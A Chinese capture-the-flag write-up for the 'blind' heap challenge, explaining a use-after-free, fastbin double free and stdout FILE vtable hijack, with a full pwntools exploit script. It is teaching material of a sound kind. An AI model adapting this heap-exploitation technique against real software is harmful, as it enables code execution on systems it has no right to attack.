pollux's Dairy

2018-网顶杯CTF-blind

字数统计: 926阅读时长: 5 min
2019/04/17 Share

0x00 程序分析

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

程序存在UAF漏洞,有一个获得shell的后门函数,关键是如何劫持程序流程到这个后门函数

因为程序开启了Full RELRO,所以不能通过修改got表劫持程序流
一个思路是攻击stdout的文件流,进行攻击

0x01 利用分析

1 通过Double free实现在指定地址分配chunk

程序存在UAF漏洞,所以可以利用Double free实现将一个chunk既在fastbin中,也在被使用中,这样我们就可以修改fastbin chunk的fd指针,将fastchunk分配到.bss段上,修改stdout指针

2 攻击stdout文件流

函数setvbuf()用来设定文件流的缓冲区,原型是
int setvbuf(FILE stream, char buf, int type, unsigned size);
stream为文件流指针,buf为缓冲区首地址,type为缓冲区类型,size为缓冲区内字节的数量。

程序有类似这样的函数setvbuf(stdout, 0LL, 2, 0LL);
意思就是将标准输出不设置缓冲区,还会将stdout的文件流指针写在.bss段上,该指针指向_IO_FILE_plus结构体

程序调用puts等输出函数时会调用stdout文件流的虚表函数中的<_IO_new_file_xsputn>函数,所以当我们修改了<_IO_new_file_xsputn>函数为后门函数的地址,那么当程序调用puts等函数时,就会执行后门函数。

需要确定下伪造的_IO_FILE_plus结构体的内容

puts函数的原型是 _IO_puts

1
2
3
4
5
6
7
8
9
10
11
12
13
_IO_puts (const char *str)
{
int result = EOF;
size_t len = strlen (str);
_IO_acquire_lock (stdout);
if ((_IO_vtable_offset (stdout) != 0
|| _IO_fwide (stdout, -1) == -1)
&& _IO_sputn (stdout, str, len) == len
&& _IO_putc_unlocked ('\n', stdout) != EOF)
result = MIN (INT_MAX, len + 1);
_IO_release_lock (stdout);
return result;
}

可以看到程序会调用_IO_sputn函数

1
#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)

_IO_sputn函数进而调用 _IO_XSPUTN函数

1
#define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)

_IO_XSPUTN函数接着调用JUMP2函数,去执行虚表函数__xsputn

image-20190417230825940

我们回来看 _IO_puts这个函数,函数开始有一个函数 _IO_acquire_lock (stdout);,我们跟进这个函数

1
2
3
4
5
6
#  define _IO_acquire_lock(_fp) \
do { \
FILE *_IO_acquire_lock_file \
__attribute__((cleanup (_IO_acquire_lock_fct))) \
= (_fp); \
_IO_flockfile (_IO_acquire_lock_file);

发现又调用了 _IO_acquire_lock_fct,接着跟进

1
2
3
4
5
6
7
__attribute__ ((__always_inline__))
_IO_acquire_lock_fct (FILE **p)
{
FILE *fp = *p;
if ((fp->_flags & _IO_USER_LOCK) == 0) //pass
_IO_funlockfile (fp);
}

发现 fp->_flags & _IO_USER_LOCK 这里_IO_USER_LOCK宏定义的值是0x8000, _flag 值的高2字节为magic,暂时不用管,只需要后两个字节与0x8000不是0就行,那么我们可以设后两个字节为0x8000,最终构造的_flag值为 0xfbad8000

_IO_puts函数中,观察 _IO_sputn上的 _IO_fwide函数,跟进去发现_mode要等于0

文件流构造要求总结如下

  • _flag = 0xfbad8000
  • _mode = 0
  • table = 0x602200

0x02 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#usr/bin/env python
from pwn import *
context.log_level='debug'

p = process('./blind')
elf = ELF('./blind')

def q():
gdb.attach(p)
raw_input('test')

def add(idx,content):
p.recvuntil('Choice:')
p.sendline(str(1))
p.recvuntil('Index:')
p.sendline(str(idx))
p.recvuntil('Content:')
p.sendline(content)

def edit(idx,content):
p.recvuntil('Choice:')
p.sendline(str(2))
p.recvuntil('Index:')
p.sendline(str(idx))
p.recvuntil('Content:')
p.sendline(content)

def delete(idx):
p.recvuntil('Choice:')
p.sendline(str(3))
p.recvuntil('Index:')
p.sendline(str(idx))


add(0,'aa') #chunk 0
delete(0)
edit(0,p64(0x60203d)) #alter the fastchunk 's fd pointer
add(1,'bb') #get the chunk 0
add(2,'cc') #get the fake chunk

edit(2,'\x00'*0x13+p64(0x602100))
edit(0,p64(0xfbad8000))#_flag = 0xfbad8000

edit(2,'\x00'*0x13+p64(0x6021c0))
edit(0,p64(0))#_mode = 0

edit(2,'\x00'*0x13+p64(0x6021d8))
edit(0,p64(0x602200))#vtable = 0x602200

edit(2,'\x00'*0x13+p64(0x602200+7*8))
edit(0,p64(0x4008e3))#__xsputn = 0x602200

edit(2,'\x00'*0x13+p64(0x602020))
edit(0,p64(0x602100))#stdout pointer = 0x602100

p.interactive()
CATALOG
  1. 1. 0x00 程序分析
  2. 2. 0x01 利用分析
    1. 2.1. 1 通过Double free实现在指定地址分配chunk
    2. 2.2. 2 攻击stdout文件流
  3. 3. 0x02 EXP